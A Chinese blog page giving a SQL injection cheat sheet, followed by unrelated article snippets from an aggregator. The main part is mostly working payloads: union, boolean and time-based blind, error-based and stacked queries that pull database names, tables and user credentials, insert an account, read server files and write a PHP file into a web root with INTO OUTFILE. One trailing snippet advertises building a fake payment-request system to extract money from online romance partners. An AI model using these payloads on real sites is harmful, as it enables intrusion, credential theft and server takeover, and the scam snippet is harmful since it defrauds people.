当前位置: 首页 > news >正文

SQL注入漏洞常用绕过方法

SQL注入漏洞

漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了原有的SQL 语句逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。

SQL 注入漏洞的产生需要满足以下两个条件 :

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询

漏洞危害

  1. 查询数据
  2. 下载数据
  3. 写入webshell
  4. 执行系统命令
  5. 绕过登录限制

用于测试注入点的语句

and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+

漏洞分类

回显:

  • UNION(联合注入)

不回显:

  • 布尔盲注
  • 时间盲注
  • 报错注入

其他:

  • 堆叠注入
  • 二次注入
  • 宽字节注入
  • http头部注入

联合注入

使用场景:有显示位,可以将sql语句执行的结果输出到网页中。

# 查询字段数
?id=1' order by 3 -- -# 查看回显位
?id=-1' union select 1,2,3-- -//查询系统
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -//查询所有数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -//查询表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -//查询列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name ='users'-- -//查询数据
?id=-1' union select 1,group_concat('*',concat(username,'---',password)),3 from security.users -- -

布尔注入

使用场景:根据注入执行结果的布尔值,页面显示不同,由此来判断是否为布尔注入
payload:

//判断数据库的第一位是不是s
?id=1" and left(database(),1)='s'--+-
?id=1" and substr((select database()),1,1)='s' --+-
?id=1" and ascii(substr((select database()),1,1))=115--+-//获取所有数据库名称
?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+-//获取当前数据库表名称
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+-//获取当前数据库表users表的列名
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-?id=1" and ord(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-//获取users表的数据
?id=1" and ord(mid((select username from security.users limit 0,1 ),1,1))=68--+-

时间注入

使用场景:在注入时,无论注入是否正确,页面没有任何变化,没有显示位,也没有报错信息。但是加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。

//判断时间数据库长度
?id=1" and if(length(database())>7,1,sleep(5)) --+-//查询数据库的第一位
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+-//查询表
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+-//获取当前数据库表users表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105,1,sleep(5)) --+-//获取users表的数据
?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+-

报错注入

使用场景:报错注入的使用场景一般在页面无法显示数据库的信息,但是有报错内容,我们就可以尝试利用报错注入将错误信息与子查询语句中查询的内容带出,并不局限与这种场景,只要能将mysql错误信息输出都可以尝试进行报错注入。

报错注入形式上一般是做两个嵌套查询,里面的称为子查询,执行顺序是先进行子查询,所以我们可以通过子查询查询我们想要的数据,然后通过报错函数将我们查询的数据带出。

//updatexml报错方式
?id=1" and (updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata)),1)))--+-//extractvalue报错方式
id=1" and extractvalue(1, concat((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database())))--+-

堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户

# 在得知对方管理表结构的前提下,可以向管理表插入一个管理员账号
?id=1';insert into users value(20,"sc","sc");--+-# 查询一下
?id=20

二次注入

二次注入过程中,在第一次数据库插入数据的时候,如果仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashea有一个特点就是虽然参数在过滤后添加”\“进行转义,但是”\“并不会插入到数据库中,在写入数据时会保留原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。
比如:在第一次 插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.

image.png

$sql = "insert into users ( username, password) values("$username", "$pass")";$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' andpassword='$curr_pass' ";$sql = "UPDATE users SET PASSWORD='456' where username='admin’#' and password='$curr_pass' ";

宽字节注入

宽字节注入,在SQL进行防注入的时候,一般会开启gpc,过滤特殊字符。一般情况下开启gpc是可以防御很多字符串的注入,但是如果数据库编码不对,也可以导致SQL防注入绕过,达到注入目的。如果数据库设置宽字节字符集gpk会导致宽字节注入,从而逃逸gpc。

前提条件

简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入

深入讲解:要有宽字节注入漏洞,首先满足数据库和后端使用双或多字节解析sql语句其次还要保证在 该种字符集中包含**0x5c(01011100)**的字符,初步测试结果为Big5和GBK字符集都是有的,UTF-8 和 GB2312没有这种字符。(也就不存在宽字节注入)

常见的转义函数

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini 中 magic_quote_gpc的配置
在线gbk编码表:

https://www.toolhelper.cn/Encoding/GBK
’ ——> %27
空格 ——> %20
#符号 ——> %23
\ ——> %5C

payload

32
?id=1%aa' and 1=2 -- -
?id=1%aa' order by 3 -- -
?id=-1%aa' union select 1,2,3 -- -
?id=-1%aa' union select 1,user(),3 -- -

HTTP头部注入

User-Agent:浏览器版本
COOKIE: 网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
X-Forwarded-For:获取HTTP请求端真实IP
Client-IP: 获取IP
Referer:浏览器向Web服务器表名自己是从哪个页面链接过来的
Host:访问的Web服务器的域名/IP和端口号
21
admin') order by 3 -- -

读写文件操作

前提条件

必须有权限读写并且完全可读写
ecure_file_priv不能为空
要读取的文件必须在服务器
必须指定文件的完整路径

?id=-1' union select 1,load_file("C:\\phpStudy\\PHPTutorial\\1.txt"),3--+-
?id=-1' union select 1,load_file("D:/phpStudy/PHPTutorial/WWW/flag.txt"),3--+-
?id=-1' union select 1,"<?php phpinfo(); ?>",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\2.php" --+-

常用的绕过方法

  1. 空格字符绕过
  2. 大小写绕过
  3. 浮点数绕过注入
  4. NULL 值绕过
  5. 引号绕过
  6. 添加库名绕过
  7. 逗号绕过
  8. 分块传输绕
  9. Unicode 编码绕过

相关文章:

SQL注入漏洞常用绕过方法

SQL注入漏洞 漏洞描述 Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行&#xff0c;导致参数中的特殊字符打破了原有的SQL 语句逻辑&#xff0c;黑客可以利用该漏洞执行任意 SQL 语句&#xff0c;如查询数据、下载数据、写入webshell 、执行系统命令以及…...

C语言输出符

C语言输出符 以下是C语言中一些常用的格式化输出的格式控制符及其对应的数据类型&#xff1a; 格式控制符描述对应数据类型%d十进制有符号整数int%ld长整型long int%lld长长整型long long int%u十进制无符号整数unsigned int%lu无符号长整型unsigned long int%llu无符号长长整…...

申请一个开发者域名

申请一个开发者域名 教程 fourm.js.org 因本地没安装 hexo 环境&#xff0c;模板下载的 html...

接搭建仿美团、代付系统源码搭建教程

最近很多粉丝催更、分享一下地球号&#xff1a;xiaobao0214520(WX) 现在大家都很流行搞网恋&#xff0c;我们搭建一个跟美团相似的系统 然后开发一个好友代付&#xff0c;我们在点单的时候转发链接让网恋对象付钱 若只是单点外卖的话&#xff0c;能榨出的油水还是太少。 所以…...

迭代的难题:敏捷团队每次都有未完成的工作,如何破解?

各位是否遇到过类似的情况&#xff1a;每次迭代结束后&#xff0c;团队都有未完成的任务&#xff0c;很少有完成迭代全部的工作&#xff0c;相反&#xff0c;总是将上期未完成的任务重新挪到本期计划会中&#xff0c;重新规划。敏捷的核心之一是“快速迭代&#xff0c;及时反馈…...

ChatGPT未来可能应用于iPhone?

苹果接即将与OpenAI达成协议 ChatGPT未来应用于iPhone 前言 就在5月11日&#xff0c;苹果公司正与OpenAI进行深入讨论&#xff0c;计划在其最新的iOS操作系统中整合OpenAI的先进技术。这一举措是苹果公司在为其产品线融入更先进的人工智能功能所做努力的一部分。 目前情况双方…...

Spring之bean的细节(创建方式、作用范围、生命周期)

在Spring框架中&#xff0c;Bean是一个非常重要的概念&#xff0c;它代表了应用程序中需要被管理的对象。关于Bean的细节&#xff0c;我们可以从创建方式、作用范围以及生命周期三个方面进行阐述。 创建方式 Spring支持以下三种方式创建Bean&#xff1a; 调用构造器创建Bean…...

探索STLport:C++标准模板库的开源实现

在C++编程的世界里,STL(标准模板库)是一个不可或缺的工具。它提供了许多用于数据结构、算法和其他重要功能的模板类和函数。然而,标准模板库的实现并非只有一种,而其中一个备受推崇的选择就是STLport。 官方下载: STLport: Welcome! STLport是什么? STLport是一个开…...

计算机Java项目|Springboot高校心理教育辅导设计与实现

作者主页&#xff1a;编程指南针 作者简介&#xff1a;Java领域优质创作者、CSDN博客专家 、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、腾讯课堂常驻讲师 主要内容&#xff1a;Java项目、Python项目、前端项目、人工智能与大数据、简…...

数据结构简单介绍、算法简单介绍、算法复杂度、时间复杂度等的介绍

文章目录 前言一、什么是数据结构二、什么是算法三、算法复杂度1. 时间复杂度① 时间复杂度的定义② 大O的渐进表示法 总结 前言 数据结构简单介绍、算法简单介绍、算法复杂度、时间复杂度等的介绍 一、什么是数据结构 数据结构是计算机存储&#xff0c;组织数据结构的方式&…...

Google I/O 2024:有关AI的一切已公布|TodayAI

2024年谷歌I/O大会圆满落幕&#xff0c;谷歌在会上发布了一系列更新&#xff0c;涵盖从最新的人工智能技术到Android系统的多项改进。此次大会特别关注于谷歌的Gemini人工智能模型&#xff0c;并详细介绍了这些模型如何被融入到Workspace、Chrome等多个应用程序中&#xff0c;展…...

【Shell脚本】Shell编程之数组

目录 一.数组 1.基本概念 2.定义数组的方法 2.1.方法一 2.2.方法二 2.3.方法三 2.4.方法四 2.5.查看数组长度 2.6.查看数组元素下标 3.数组分片 4.数组字符替换 4.1.临时替换 4.2.永久替换 5.数组删除 5.1.删除某个下标 5.2.删除整组 6.数组遍历和重新定义 7…...

Python 全栈系列246 任务调度对象WFlaskAPS

说明 之前已经完全跑通了任务调度&#xff0c;实现了S2S的流转Python 全栈系列243 S2S flask_celery。由于request请求用起来比较别扭&#xff0c;所以创建一个对象来进行便捷操作。 内容 1 功能 WFlaskAPS包含管理定时任务的必要功能 from datetime import datetime from…...

关于Windows中的NTUSER.DAT文件的知识,看这篇文章就差不多了

每个用户配置文件中都隐藏着一个名为NTUSER.DAT的文件。此文件包含每个用户的设置和首选项,因此你不应该删除它,也可能不应该编辑它。Windows会自动为你加载、更改和保存该文件。 NTUSER.DAT包含你的用户配置文件设置 每次更改Windows和已安装程序的外观和行为时,无论是桌…...

【Linux】动态库与静态库的底层比较

送给大家一句话&#xff1a; 人生最遗憾的&#xff0c;莫过于&#xff0c;轻易地放弃了不该放弃的&#xff0c;固执地坚持了不该坚持的。 – 柏拉图 (x(x_(x_x(O_o)x_x)_x)x) (x(x_(x_x(O_o)x_x)_x)x) (x(x_(x_x(O_o)x_x)_x)x) 底层比较 1 前言2 编译使用比较2 如何加载Than…...

私活更好用:SpringBoot开源项目!!【送源码】

今天分享一款非常香的SpringBoot大屏开源项目&#xff0c;非常适合接私活用。 这是一款基于SpringBoot代码生成器的快速开发平台&#xff01;采用前后端分离架构&#xff1a;SpringBoot&#xff0c;Mybatis&#xff0c;Shiro&#xff0c;JWT&#xff0c;Vue&Ant Design。强…...

SprintBoot案例-增删改查

黑马程序员JavaWeb开发教程 文章目录 一、准备工作1. 准备数据库表1.1 新建数据库mytlias1.2 新建部门表dept1.3 新建员工表emp 2. 准备一个Springboot工程2.1 新建一个项目 3. 配置文件application.properties中引入mybatis的配置信息&#xff0c;准备对应的实体类3.1 引入myb…...

【机器学习】:基于决策树与随机森林对数据分类

机器学习实验报告&#xff1a;决策树与随机森林数据分类 实验背景与目的 在机器学习领域&#xff0c;决策树和随机森林是两种常用的分类算法。决策树以其直观的树形结构和易于理解的特点被广泛应用于分类问题。随机森林则是一种集成学习算法&#xff0c;通过构建多个决策树并…...

.NET 4.8和.NET 8.0的区别和联系、以及查看本地计算机的.NET版本

文章目录 .NET 4.8和.NET 8.0的区别查看本地计算机的.NET版本 .NET 4.8和.NET 8.0的区别 .NET 8.0 和 .NET 4.8 之间的区别主要体现在它们的发展背景、目标平台、架构设计和功能特性上。下面是它们之间的一些主要区别&#xff1a; 发展背景&#xff1a; .NET 4.8 是.NET Fram…...

23.HashMap的put方法流程

一、put方法的流程图 二、put方法的执行步骤 首先&#xff0c;根据key值计算哈希值。然后判断table数组是否为空或者数组长度是否为0&#xff0c;是的话则要扩容&#xff0c;resize&#xff08;&#xff09;。接着&#xff0c;根据哈希值计算数组下标。如果这个下标位置为空&a…...

C++_核心编程_多态案例二-制作饮品

#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为&#xff1a;煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例&#xff0c;提供抽象制作饮品基类&#xff0c;提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...

利用ngx_stream_return_module构建简易 TCP/UDP 响应网关

一、模块概述 ngx_stream_return_module 提供了一个极简的指令&#xff1a; return <value>;在收到客户端连接后&#xff0c;立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量&#xff08;如 $time_iso8601、$remote_addr 等&#xff09;&a…...

【Oracle APEX开发小技巧12】

有如下需求&#xff1a; 有一个问题反馈页面&#xff0c;要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据&#xff0c;方便管理员及时处理反馈。 我的方法&#xff1a;直接将逻辑写在SQL中&#xff0c;这样可以直接在页面展示 完整代码&#xff1a; SELECTSF.FE…...

FFmpeg 低延迟同屏方案

引言 在实时互动需求激增的当下&#xff0c;无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作&#xff0c;还是游戏直播的画面实时传输&#xff0c;低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架&#xff0c;凭借其灵活的编解码、数据…...

前端导出带有合并单元格的列表

// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...

以光量子为例,详解量子获取方式

光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学&#xff08;silicon photonics&#xff09;的光波导&#xff08;optical waveguide&#xff09;芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中&#xff0c;光既是波又是粒子。光子本…...

HashMap中的put方法执行流程(流程图)

1 put操作整体流程 HashMap 的 put 操作是其最核心的功能之一。在 JDK 1.8 及以后版本中&#xff0c;其主要逻辑封装在 putVal 这个内部方法中。整个过程大致如下&#xff1a; 初始判断与哈希计算&#xff1a; 首先&#xff0c;putVal 方法会检查当前的 table&#xff08;也就…...

使用LangGraph和LangSmith构建多智能体人工智能系统

现在&#xff0c;通过组合几个较小的子智能体来创建一个强大的人工智能智能体正成为一种趋势。但这也带来了一些挑战&#xff0c;比如减少幻觉、管理对话流程、在测试期间留意智能体的工作方式、允许人工介入以及评估其性能。你需要进行大量的反复试验。 在这篇博客〔原作者&a…...

逻辑回归暴力训练预测金融欺诈

简述 「使用逻辑回归暴力预测金融欺诈&#xff0c;并不断增加特征维度持续测试」的做法&#xff0c;体现了一种逐步建模与迭代验证的实验思路&#xff0c;在金融欺诈检测中非常有价值&#xff0c;本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...

MinIO Docker 部署:仅开放一个端口

MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...